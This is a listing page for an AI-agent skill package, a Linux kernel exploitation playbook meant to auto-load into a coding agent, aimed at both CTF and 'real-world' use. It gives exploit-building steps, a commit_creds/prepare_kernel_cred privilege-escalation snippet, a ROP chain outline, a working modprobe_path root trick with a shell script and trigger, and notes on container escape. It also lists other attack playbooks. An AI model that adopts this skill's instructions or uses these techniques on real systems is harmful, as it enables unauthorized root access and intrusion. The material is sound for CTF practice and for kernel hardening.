401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
$ npx -y skills add yaklang/hack-skills --skill kernel-exploitation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/kernel-exploitationContext preview
The summary Claude sees to decide when to auto-load this skill.
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
name: kernel-exploitation description: >- Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
> **AI LOAD INSTRUCTION**: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
---
┌─────────────────────────────────────────────────────┐ │ 1. Find Vulnerability │ │ (UAF, OOB, race, integer overflow, type confusion)│ ├─────────────────────────────────────────────────────┤ │ 2. Build Primitive │ │ (arbitrary read, arbitrary write, controlled RIP)│ ├─────────────────────────────────────────────────────┤ │ 3. Bypass Mitigations │ │ (KASLR, SMEP, SMAP, KPTI) │ ├─────────────────────────────────────────────────────┤ │ 4. Escalate Privileges │ │ (commit_creds, modprobe_path, namespace escape) │ ├─────────────────────────────────────────────────────┤ │ 5. Return to Userspace Cleanly │ │ (KPTI trampoline, iretq/sysretq, swapgs) │ └─────────────────────────────────────────────────────┘
---
# Download and compile kernel wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz tar xf linux-6.1.tar.xz && cd linux-6.1 make defconfig # Disable mitigations for easier debugging: scripts/config --disable RANDOMIZE_BASE # KASLR scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR scripts/config --enable DEBUG_INFO make -j$(nproc) # Boot with QEMU qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio.gz \ -append "console=ttyS0 nokaslr quiet" \ -nographic \ -s -S \ # GDB server on :1234, pause at start -monitor /dev/null \ -m 256M \ -cpu kvm64,+smep,+smap
gdb vmlinux target remote :1234 # Load kernel symbols add-symbol-file vmlinux 0xffffffff81000000 # typical .text base # Breakpoints b commit_creds b *0xffffffff81234567 # pwndbg/GEF work with kernel debugging
mkdir rootfs && cd rootfs cpio -idmv < ../rootfs.cpio.gz # Edit init script, add exploit binary cp /path/to/exploit ./ # Repack find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
---
| Type | Description | Kernel Example | |---|---|---| | UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) | | OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) | | Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) | | Integer Overflow | Size calculation wraps around | Various ioctl handlers | | Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) | | Double Free | Object freed twice | SLUB allocator exploitation | | Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
---
// Kernel function that sets current process credentials to root void (*commit_creds)(void *) = COMMIT_CREDS_ADDR; void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR; commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
Kernel ROP chain equivalent:
pop rdi; ret 0 # NULL → prepare_kernel_cred(NULL) = init_cred prepare_kernel_cred addr mov rdi, rax; ... ; ret # or pop rdi + known location commit_creds addr kpti_trampoline / swapgs+iretq # return to userspace
// modprobe_path = "/sbin/modprobe" in kernel .data // Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup: echo '#!/bin/sh' > /tmp/x echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x chmod +x /tmp/x # Trigger (unknown binary format): echo -ne '\xff\xff\xff\xff' > /tmp/dummy chmod +x /tmp/dummy /tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
If you can find the current task's `cred` pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
Overwrite `init_nsproxy` or manipulate namespace pointers to escape container isolation.
---
| Source | Mechanism | |---|---| | Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer | | Corrupted return address | Kernel stack overflow (rare) | | Corrupted `ops` structure | Module operations struct (file_operations, seq_operation
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…